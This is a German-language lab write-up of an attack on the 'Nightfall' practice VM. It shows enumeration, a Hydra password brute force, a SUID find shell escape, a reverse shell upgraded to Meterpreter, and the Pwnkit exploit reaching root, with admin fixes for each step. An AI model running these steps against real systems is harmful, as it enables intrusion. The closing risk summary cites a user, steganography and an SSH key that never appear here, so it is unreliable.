Die erste Phase des Penetrationstests beginnt mit der Identifizierung des Ziels im lokalen Netzwerk und der anschließenden Analyse der offenen Ports und Dienste.
192.168.2.151 08:00:27:2f:21:60 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu finden.
Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.151` erfolgreich identifiziert. Die MAC-Adresse (`08:00:27:2f:21:60`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP `192.168.2.151` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.
Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.
192.168.2.151 nightfall.vln
Analyse: Der Hostname `nightfall.vln` wird der IP `192.168.2.151` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.
Ein umfassender Nmap-Scan wird durchgeführt.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-15 23:49 CEST Nmap scan report for nightfall.vln (192.168.2.151) Host is up (0.00013s latency). Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp pyftpdlib 1.5.5 | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.2.151:21 | Waiting for username. | TYPE: ASCII; STRUcture: File; MODE: Stream | Data connection closed. |_End of status. 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) | ssh-hostkey: | 2048 a9:25:e1:4f:41:c6:0f:be:31:21:7b:27:e3:af:49:a9 (RSA) | 256 38:15:c9:72:9b:e0:24:68:7b:24:4b:ae:40:46:43:16 (ECDSA) |_ 256 9b:50:3b:2c:48:93:e1:a6:9d:b4:99:ec:60:fb:b6:46 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Apache2 Debian Default Page: It works 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) 3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1 | mysql-info: | Protocol: 10 | Version: 5.5.5-10.3.15-MariaDB-1 | Thread ID: 22 | Capabilities flags: 63486 | Some Capabilities: IgnoreSigpipes, FoundRows, Speaks41ProtocolOld, Support41Auth, ConnectWithDatabase, LongColumnFlag, SupportsTransactions, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, SupportsCompression, InteractiveClient, Speaks41ProtocolNew, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults | Status: Autocommit | Salt: R08i'&)9">RcxRq`n({ |_ Auth Plugin Name: mysql_native_password MAC Address: 08:00:27:2F:21:60 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Host: NIGHTFALL; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2023-09-15T21:49:26 |_ start_date: N/A |_nbstat: NetBIOS name: NIGHTFALL, NetBIOS user:, NetBIOS MAC: 00:00:00:00:00:00 (Xerox) | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | smb-os-discovery: | OS: Windows 6.1 (Samba 4.9.5-Debian) | Computer name: nightfall | NetBIOS computer name: NIGHTFALL\x00 | Domain name: nightfall | FQDN: nightfall.nightfall |_ System time: 2023-09-15T17:49:26-04:00 TRACEROUTE HOP RTT ADDRESS 1 0.13 ms nightfall.vln (192.168.2.151)
Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`).
Bewertung: Der Scan identifiziert sechs offene Ports:
Empfehlung (Pentester):**
1. Untersuchen Sie Samba (Port 445): Shares listen (`smbclient -L //nightfall.vln -N`), Gastzugriff testen (`smbclient //nightfall.vln/share -N`).
2. Untersuchen Sie FTP (Port 21): Anonymen Login explizit testen. Bruteforce mit gefundenen Benutzernamen.
3. Untersuchen Sie MySQL (Port 3306): Versuchen Sie Login als `root` ohne Passwort oder mit Standardpasswörtern.
4. Enumerieren Sie den Webserver (Port 80).
5. Enumerieren Sie Benutzer über Samba (`enum4linux`).
Empfehlung (Admin):** Aktualisieren Sie alle Dienste (pyftpdlib?, OpenSSH, Apache, Samba, MariaDB). Deaktivieren Sie Gastzugriff für Samba und erzwingen Sie Message Signing. Sichern Sie MySQL mit starken Passwörtern und beschränken Sie den Zugriff. Überprüfen Sie die FTP-Konfiguration.
Wir filtern die offenen Ports zur Übersicht.
21/tcp open ftp pyftpdlib 1.5.5 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) 3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.
Bewertung: Bestätigt die sechs offenen Ports (21, 22, 80, 139, 445, 3306).
Empfehlung (Pentester): Systematische Untersuchung dieser Dienste.
Empfehlung (Admin):** Notwendigkeit prüfen, Dienste aktualisieren/sichern.
Wir untersuchen den Samba-Dienst auf Port 445 genauer, insbesondere auf verfügbare Shares und Benutzer.
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Sep 15 23:49:53 2023 =( Enumerating Workgroup/Domain on 192.168.2.151 )= [+] Got domain/workgroup name: WORKGROUP =( Share Enumeration on 192.168.2.151 )= Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Samba 4.9.5-Debian) Samsung_C48x_Series_SEC8425192F6632_ Printer Samsung C48x Series (SEC8425192F6632) =( Password Policy Information for 192.168.2.151 )= =( User Enumeration on 192.168.2.151 )= [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\nightfall (Local User) S-1-22-1-1001 Unix User\matt (Local User) [+] Enumerating users using SID S-1-5-21-1679783218-3562266554-4049818721 and logon username '', password '' S-1-5-21-1679783218-3562266554-4049818721-501 NIGHTFALL\nobody (Local User)
Analyse: `enum4linux -a` führt eine umfassende SMB-Enumeration durch.
Bewertung: Findet Standard-Shares (`print$`, `IPC$`) und einen Drucker-Share. Wichtiger ist das Ergebnis des RID-Cyclings: Es identifiziert die lokalen Unix-Benutzer `nightfall` und `matt`.
Empfehlung (Pentester): Verwenden Sie die Benutzernamen `nightfall` und `matt` für Bruteforce-Angriffe gegen SSH (Port 22) und FTP (Port 21).
Empfehlung (Admin):** Deaktivieren Sie RID-Cycling in der Samba-Konfiguration. Sichern Sie Shares.
Wir untersuchen den Webserver auf Port 80 auf versteckte Dateien oder Verzeichnisse.
Ein Gobuster-Scan wird gegen Port 80 durchgeführt:
http://nightfall.vln/index.html (Status: 200) [Size: 10701]
Analyse: Gobuster sucht nach Verzeichnissen und Dateien.
Bewertung: Findet nur die Standard-Datei `index.html` (Apache Default Page). Keine versteckten Pfade gefunden.
Empfehlung (Pentester): Der Webserver scheint keine zusätzlichen Inhalte zu hosten. Konzentrieren Sie sich auf FTP, SSH und Samba mit den gefundenen Benutzernamen.
Empfehlung (Admin):** Keine Aktion erforderlich.
Wir versuchen, uns am FTP-Dienst (Port 21) anzumelden und führen einen Bruteforce-Angriff durch.
Versuch eines anonymen Logins:
Connected to 192.168.2.151. 220 pyftpdlib 1.5.5 ready. Name (192.168.2.151:cycat): anonymous 331 Username ok, send password. Password: 530 Anonymous access not allowed. ftp: Login failed
Analyse: Versuch, sich anonym am FTP-Server anzumelden.
Bewertung: Fehlschlag (`530 Anonymous access not allowed`). Der anonyme Zugang ist nicht gestattet, im Gegensatz zur (möglicherweise fehlerhaften) Meldung von Nmap für vsftpd auf Port 21 beim vorherigen Server. Dieser FTP-Server (pyftpdlib) ist korrekt konfiguriert.
Empfehlung (Pentester): Führen Sie Bruteforce gegen die gefundenen Benutzernamen (`matt`, `nightfall`) durch.
Empfehlung (Admin):** Korrekte Konfiguration (kein anonymer Zugang).
FTP-Bruteforce mit Hydra für Benutzer `matt`:
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-15 23:54:05
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344423 login tries (l:1/p:14344423), ~224132 tries per task
[DATA] attacking ftp://192.168.2.151:21/
[21][ftp] host: 192.168.2.151 login: matt password: cheese
1 of 1 target successfully completed, 1 valid password found
Analyse: Hydra versucht, das Passwort für den FTP-Benutzer `matt` mit `rockyou.txt` zu erraten.
Bewertung: Erfolg! Das Passwort `cheese` für `matt` wurde gefunden.
Empfehlung (Pentester): Loggen Sie sich als `matt`/`cheese` via FTP ein und untersuchen Sie das Verzeichnis. Testen Sie diese Credentials auch für SSH (Port 22).
Empfehlung (Admin):** Starke, einzigartige Passwörter verwenden. Brute-Force-Schutz implementieren.
Erfolgreicher FTP-Login als `matt` und Untersuchung:
Connected to 192.168.2.151.
220 pyftpdlib 1.5.5 ready.
Name (192.168.2.151:cycat): matt
331 Username ok, send password.
Password: cheese
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
257 "/home/matt" is the current directory.
250 "/home/matt/.local" is the current directory.
250 "/home/matt" is the current directory.
229 Entering extended passive mode (|||55097|). 125 Data connection already open. Transfer starting. .bash_history .bash_logout .bashrc .gnupg .local .profile .sh_history revshell.php 226 Transfer complete.
200 SITE CHMOD successful.
Analyse: Erfolgreicher FTP-Login als `matt`. Das Home-Verzeichnis wird aufgelistet. Es enthält Standard-Konfigurationsdateien und eine `revshell.php` (unklarer Herkunft, evtl. Artefakt). Der Benutzer versucht, die Rechte dieser Datei zu ändern, was erfolgreich ist.
Bewertung: Bestätigt den FTP-Zugang. Die Möglichkeit, `chmod` auszuführen, ist ungewöhnlich und potenziell gefährlich, aber weniger relevant als der SSH-Zugang. Das Hauptziel ist nun der SSH-Login.
Empfehlung (Pentester): Loggen Sie sich via SSH ein.
Empfehlung (Admin):** Untersuchen Sie die FTP-Server-Konfiguration bezüglich der erlaubten SITE-Befehle (`chmod`).
Wir nutzen die über FTP-Bruteforce gefundenen Zugangsdaten, um uns per SSH anzumelden.
SSH-Login als `matt`:
Last login: Wed Aug 28 18:31:27 2019 from 192.168.1.182 matt@nightfall$
Analyse: (Impliziert) Erfolgreicher SSH-Login als Benutzer `matt` mit dem Passwort `cheese`.
Bewertung: Initial Access erfolgreich erlangt! Wir haben eine Shell als `matt`.
Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `matt`.
Empfehlung (Admin):** Passwort für `matt` ändern.
Wir untersuchen das System als `matt` und richten eine Metasploit-Sitzung ein.
Untersuchung des Home-Verzeichnisses von `nightfall`:
total 36 drwxr-xr-x 4 nightfall nightfall 4096 Aug 28 2019 . drwxr-xr-x 4 root root 4096 Aug 25 2019 .. -rw------- 1 nightfall nightfall 0 Aug 28 2019 .bash_history -rw-r--r-- 1 nightfall nightfall 220 Aug 17 2019 .bash_logout -rw-r--r-- 1 nightfall nightfall 3526 Aug 17 2019 .bashrc drwx------ 3 nightfall nightfall 4096 Aug 28 2019 .gnupg drwxr-xr-x 3 nightfall nightfall 4096 Aug 17 2019 .local -rw------- 1 nightfall nightfall 337 Aug 17 2019 .mysql_history -rw-r--r-- 1 nightfall nightfall 807 Aug 17 2019 .profile -rw------- 1 nightfall nightfall 33 Aug 28 2019 user.txt
Analyse: Listet den Inhalt des Home-Verzeichnisses des anderen Benutzers `nightfall` auf.
Bewertung: Wir haben Leserechte auf `/home/nightfall`. Die Datei `user.txt` ist vorhanden.
Empfehlung (Pentester): Lesen Sie `user.txt` (`cat /home/nightfall/user.txt`). Suchen Sie nach SUID-Dateien und anderen Privesc-Vektoren.
Empfehlung (Admin):** Korrigieren Sie die Berechtigungen für Home-Verzeichnisse (sollten normalerweise nicht für andere Benutzer lesbar sein, `chmod 700 /home/nightfall`).
Suche nach SUID-Binaries:
136345 312 -rwsr-sr-x 1 nightfall nightfall 315904 Aug 28 2019 /scripts/find 22540 156 -rwsr-xr-x 1 root root 157192 Jan 12 2019 /usr/bin/sudo 17693 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec 3436 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 56 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 3908 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 52 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 53 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 55 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 3910 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 3583 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 12918 52 -rwsr-xr-- 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 16266 428 -rwsr-xr-x 1 root root 436552 Apr 8 2019 /usr/lib/openssh/ssh-keysign 17696 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1 136879 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.
Bewertung: Findet Standard-SUID-Binaries sowie `/usr/bin/pkexec` (Pwnkit-Potenzial). **Sehr kritisch:** `/scripts/find` ist SUID und gehört dem Benutzer `nightfall`! Da wir das Home-Verzeichnis von `nightfall` lesen können, können wir möglicherweise dessen Kontext übernehmen oder Befehle als `nightfall` ausführen.
Empfehlung (Pentester):
1. Nutzen Sie `/scripts/find` zur Privilegienerweiterung zum Benutzer `nightfall`. Der Befehl `/scripts/find . -exec /bin/sh -p \; -quit` sollte eine Shell als `nightfall` öffnen (siehe GTFOBins für SUID `find`).
2. Alternativ: Nutzen Sie Pwnkit (CVE-2021-4034) für einen direkten Sprung zu Root.
Empfehlung (Admin):** **Dringend:** Entfernen Sie das SUID-Bit von `/scripts/find` (`chmod u-s /scripts/find`). Patchen Sie Polkit.
Einrichtung einer Metasploit-Sitzung (optional, aber im Log vorhanden):
rm: cannot remove '/tmp/f': No such file or directory
[*] Started reverse TCP handler on 192.168.2.199:4444 [*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.151:57462) at 2023-09-16 00:23:00 +0200 Shell Banner: $ -- $
SESSION => 1
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4433 [*] Sending stage (1017704 bytes) to 192.168.2.151 [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.151:port) at ... [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Analyse: Eine Reverse Shell wird von der `matt`-Shell zu Metasploit aufgebaut (Port 4444) und dann zu einer Meterpreter-Sitzung (Session 2, Port 4433) aufgewertet.
Bewertung: Erfolgreiche Etablierung einer Meterpreter-Sitzung als `matt`.
Empfehlung (Pentester): Nutzen Sie die Meterpreter-Sitzung (Session 2), um den Pwnkit-Exploit auszuführen. Dies ist wahrscheinlich einfacher als die Ausnutzung der SUID-`find`-Binärdatei.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.
Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`) mittels Metasploit, um Root-Rechte zu erlangen.
Kurzbeschreibung: Die lokale Enumeration identifizierte `/usr/bin/pkexec`. Wir verwenden das entsprechende Metasploit-Modul über die bestehende Meterpreter-Sitzung (als `matt`), um eine Root-Meterpreter-Sitzung zu erhalten.
Voraussetzungen: Aktive Meterpreter-Sitzung als `matt` (Session 2). Vorhandensein einer anfälligen Version von `pkexec`.
Schritt 1: Ausführung des Pwnkit-Exploits via Metasploit
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
lport => 4488
SESSION => 2
lhost => 192.168.2.199
[*] Started reverse TCP handler on 192.168.2.199:4488 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.zbyferyflq [+] The target is vulnerable. [*] Writing '/tmp/.cbzovytwlqtm/ledfyotsudqt/ledfyotsudqt.so' (548 bytes) ... [!] Verify cleanup of /tmp/.cbzovytwlqtm [*] Sending stage (3045348 bytes) to 192.168.2.151 [+] Deleted /tmp/.cbzovytwlqtm/ledfyotsudqt/ledfyotsudqt.so [+] Deleted /tmp/.cbzovytwlqtm/.gjuwxqvsdub [+] Deleted /tmp/.cbzovytwlqtm [*] Meterpreter session 3 opened (192.168.2.199:4488 -> 192.168.2.151:33066) at 2023-09-16 00:25:27 +0200
Analyse: Das Pwnkit-Modul wird geladen, auf die Meterpreter-Sitzung 2 (als `matt`) gesetzt und mit einem Listener auf Port 4488 ausgeführt.
Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 3).
Empfehlung (Pentester): Wechseln Sie zu Session 3 und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).
Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung
Process 2113 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),1001(matt)
root_super_secret_flag.txt
Congratulations! Please contact me via twitter and give me some feedback! @whitecr0w1
Thank you for playing! - Felipe Winsnes (whitecr0wz) flag{9a5b21fc6719fe33004d66b703d70a39}
Analyse: In der neuen Meterpreter-Sitzung (Session 3) wird eine Shell geöffnet. `id` bestätigt Root-Rechte. Im `/root`-Verzeichnis wird `root_super_secret_flag.txt` gefunden und gelesen.
Bewertung: **Privilegienerweiterung erfolgreich!** Die Root-Flagge `flag{9a5b21fc6719fe33004d66b703d70a39}` wurde gefunden.
Empfehlung (Pentester): User-Flagge wurde bereits gefunden. Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.
Risikobewertung:** Die Kombination aus einem durch Steganographie und OSINT aufgedeckten Benutzernamen (`renu`), einem schwachen, bruteforce-baren Passwort, der Möglichkeit zum Lateral Movement über einen gefundenen SSH-Schlüssel und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar und führte zur vollständigen Systemkompromittierung.
Empfehlungen (Zusammenfassung):**